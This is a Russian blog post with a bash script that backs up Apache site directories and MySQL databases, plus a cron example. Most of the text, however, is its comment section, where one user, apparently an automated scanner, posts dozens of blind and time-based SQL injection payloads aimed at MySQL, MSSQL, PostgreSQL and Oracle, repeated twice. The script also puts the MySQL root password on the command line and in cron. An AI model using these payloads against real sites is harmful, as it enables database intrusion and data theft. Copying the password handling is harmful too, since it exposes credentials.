Bash: Скрипт для бекапирования хостинга (apache mysql)
У меня это работает так. Каждое N-количество времени запускает скрипт, который архивирует tar`ом содержимое htdocs из /var/www, делает sql дампы, раскладывает это по соответствующим директориям, потом раскладывает это всё по директориям с датой.
Кому лень это писать самому - забирайте.
Запускать так:
./backup.sh директория_с_сайтами куда_копируем_бекапы пароль_от_mysql
Пароль от Mysql естественно должен быть для текущего пользователя (от чьего имени запускается скрипт).
В cron можно добавить нечто вроде этого:
- #!/bin/bash
- dir=$1
- date=`date \ \%d-%m-%y`
- d_dir=$2/$date
- sql_pass=$3
- mkdir -p $d_dir/files
- mkdir -p $d_dir/sql
- echo "${date}: Начало процесса полного бекапа.
- ---------------------------------------------------
- " >> /var/log/backup.log
- for i in $(ls -1 $dir);
- do
- file=$i.tar
- tar -cvf /tmp/$file $dir/$i/htdocs/* &&
- mv /tmp/$file $d_dir/files/$file &&
- echo "Архив с сайтом ${i} записан" >> /var/log/backup.log
- done
- dbs=$(mysql -uroot -p$sql_pass -e "show databases;" | grep [:alnum:])
- for i in $dbs;
- do
- if [ "$i" == "Database" ] || [ "$i" == "information_schema" ] || [ "$i" == "mysql" ]
- then
- continue
- fi
- file=$i.sql
- mysqldump -uroot -p$sql_pass $i > /tmp/$file &&
- mv /tmp/$file $d_dir/sql/$file &&
- echo "SQL-файл ${i} записан" >> /var/log/backup.log
- done
- echo "--------------------------------
- backup завершён" >> /var/log/backup.log
0 6 * * * backup.sh /var/www /mnt/net_disk secret_passwordПочти забыл. В итоге мы будем иметь вот что:
- site sb0y # ls -R /mnt/net/smb_bkp/
- /mnt/net/smb_bkp/:
- 06-05-10 07-05-10
- /mnt/net/smb_bkp/06-05-10:
- files sql
- /mnt/net/smb_bkp/06-05-10/files:
- for_1c.zip localhost.zip new_kardos.ru.zip zif1W5dm
- kardos.ru.zip magazine.zip workground.zip
- /mnt/net/smb_bkp/06-05-10/sql:
- kardos_ru_new.sql kardos_ru.sql magazineBeta.sql magazine.sql
- /mnt/net/smb_bkp/07-05-10:
- files sql
- /mnt/net/smb_bkp/07-05-10/files:
- for_1c.zip localhost.zip new_kardos.ru.zip
- kardos.ru.zip magazine.zip workground.zip
- /mnt/net/smb_bkp/07-05-10/sql:
- kardos_ru_new.sql kardos_ru.sql magazineBeta.sql magazine.sql
nEcdyGgx 13 Augustа в 18:33 #
555
nEcdyGgx 13 Augustа в 18:35 #
555
nEcdyGgx 13 Augustа в 18:35 #
555
nEcdyGgx 13 Augustа в 18:35 #
555
nEcdyGgx 13 Augustа в 18:35 #
555
nEcdyGgx 13 Augustа в 18:35 #
-1 OR 2+518-518-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:35 #
-1 OR 3+518-518-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:35 #
-1 OR 3*2
nEcdyGgx 13 Augustа в 18:35 #
-1 OR 3*2>(0+5+518-518) --
nEcdyGgx 13 Augustа в 18:35 #
-1 OR 2+548-548-1=0+0+0+1
nEcdyGgx 13 Augustа в 18:35 #
-1 OR 3+548-548-1=0+0+0+1
nEcdyGgx 13 Augustа в 18:35 #
-1 OR 3*2
nEcdyGgx 13 Augustа в 18:35 #
-1 OR 3*2>(0+5+548-548)
nEcdyGgx 13 Augustа в 18:35 #
-1' OR 2+571-571-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:35 #
-1' OR 3+571-571-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:35 #
-1' OR 3*2
nEcdyGgx 13 Augustа в 18:35 #
-1' OR 3*2>(0+5+571-571) --
nEcdyGgx 13 Augustа в 18:35 #
-1' OR 2+775-775-1=0+0+0+1 or 'L8UL9ypO'='
nEcdyGgx 13 Augustа в 18:35 #
-1' OR 3+775-775-1=0+0+0+1 or 'L8UL9ypO'='
nEcdyGgx 13 Augustа в 18:35 #
-1' OR 3*2
nEcdyGgx 13 Augustа в 18:35 #
-1' OR 3*2>(0+5+775-775) or 'L8UL9ypO'='
nEcdyGgx 13 Augustа в 18:35 #
-1" OR 2+23-23-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:35 #
-1" OR 3+23-23-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:35 #
-1" OR 3*2
nEcdyGgx 13 Augustа в 18:35 #
-1" OR 3*2>(0+5+23-23) --
nEcdyGgx 13 Augustа в 18:35 #
if(now()=sysdate(),sleep(15),0)
nEcdyGgx 13 Augustа в 18:35 #
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
nEcdyGgx 13 Augustа в 18:36 #
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
nEcdyGgx 13 Augustа в 18:36 #
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
nEcdyGgx 13 Augustа в 18:36 #
-1; waitfor delay '0:0:15' --
nEcdyGgx 13 Augustа в 18:36 #
-1); waitfor delay '0:0:15' --
nEcdyGgx 13 Augustа в 18:36 #
1 waitfor delay '0:0:15' --
nEcdyGgx 13 Augustа в 18:36 #
Mf4QBDlw'; waitfor delay '0:0:15' --
nEcdyGgx 13 Augustа в 18:36 #
-5 OR 387=(SELECT 387 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:36 #
-5) OR 104=(SELECT 104 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:36 #
-1)) OR 782=(SELECT 782 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:36 #
vjkr8DGr' OR 498=(SELECT 498 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:36 #
bQ0f7ZkC') OR 848=(SELECT 848 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:36 #
uaDdT2S5')) OR 202=(SELECT 202 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:36 #
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
nEcdyGgx 13 Augustа в 18:36 #
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
nEcdyGgx 13 Augustа в 18:36 #
1'"
nEcdyGgx 13 Augustа в 18:36 #
@@A72lx
nEcdyGgx 13 Augustа в 18:47 #
555
nEcdyGgx 13 Augustа в 18:48 #
555
nEcdyGgx 13 Augustа в 18:48 #
555
nEcdyGgx 13 Augustа в 18:48 #
555
nEcdyGgx 13 Augustа в 18:48 #
555
nEcdyGgx 13 Augustа в 18:48 #
-1 OR 2+138-138-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:48 #
-1 OR 3+138-138-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:48 #
-1 OR 3*2
nEcdyGgx 13 Augustа в 18:48 #
-1 OR 3*2>(0+5+138-138) --
nEcdyGgx 13 Augustа в 18:48 #
-1 OR 2+50-50-1=0+0+0+1
nEcdyGgx 13 Augustа в 18:48 #
-1 OR 3+50-50-1=0+0+0+1
nEcdyGgx 13 Augustа в 18:48 #
-1 OR 3*2
nEcdyGgx 13 Augustа в 18:48 #
-1 OR 3*2>(0+5+50-50)
nEcdyGgx 13 Augustа в 18:48 #
-1' OR 2+504-504-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:48 #
-1' OR 3+504-504-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:48 #
-1' OR 3*2
nEcdyGgx 13 Augustа в 18:48 #
-1' OR 3*2>(0+5+504-504) --
nEcdyGgx 13 Augustа в 18:48 #
-1' OR 2+583-583-1=0+0+0+1 or 'SbIUj24K'='
nEcdyGgx 13 Augustа в 18:49 #
-1' OR 3+583-583-1=0+0+0+1 or 'SbIUj24K'='
nEcdyGgx 13 Augustа в 18:49 #
-1' OR 3*2
nEcdyGgx 13 Augustа в 18:49 #
-1' OR 3*2>(0+5+583-583) or 'SbIUj24K'='
nEcdyGgx 13 Augustа в 18:49 #
-1" OR 2+66-66-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:49 #
-1" OR 3+66-66-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:49 #
-1" OR 3*2
nEcdyGgx 13 Augustа в 18:49 #
-1" OR 3*2>(0+5+66-66) --
nEcdyGgx 13 Augustа в 18:49 #
if(now()=sysdate(),sleep(15),0)
nEcdyGgx 13 Augustа в 18:49 #
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
nEcdyGgx 13 Augustа в 18:49 #
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
nEcdyGgx 13 Augustа в 18:49 #
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
nEcdyGgx 13 Augustа в 18:49 #
-1; waitfor delay '0:0:15' --
nEcdyGgx 13 Augustа в 18:49 #
-1); waitfor delay '0:0:15' --
nEcdyGgx 13 Augustа в 18:49 #
1 waitfor delay '0:0:15' --
nEcdyGgx 13 Augustа в 18:49 #
6jnJNhDU'; waitfor delay '0:0:15' --
nEcdyGgx 13 Augustа в 18:49 #
-5 OR 257=(SELECT 257 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:49 #
-5) OR 304=(SELECT 304 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:49 #
-1)) OR 588=(SELECT 588 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:49 #
fdM1i5Es' OR 98=(SELECT 98 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:49 #
uK2Omam7') OR 41=(SELECT 41 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:49 #
dNTe2Zoc')) OR 845=(SELECT 845 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:49 #
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
nEcdyGgx 13 Augustа в 18:49 #
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
nEcdyGgx 13 Augustа в 18:49 #
1'"
nEcdyGgx 13 Augustа в 18:49 #
@@3RTsR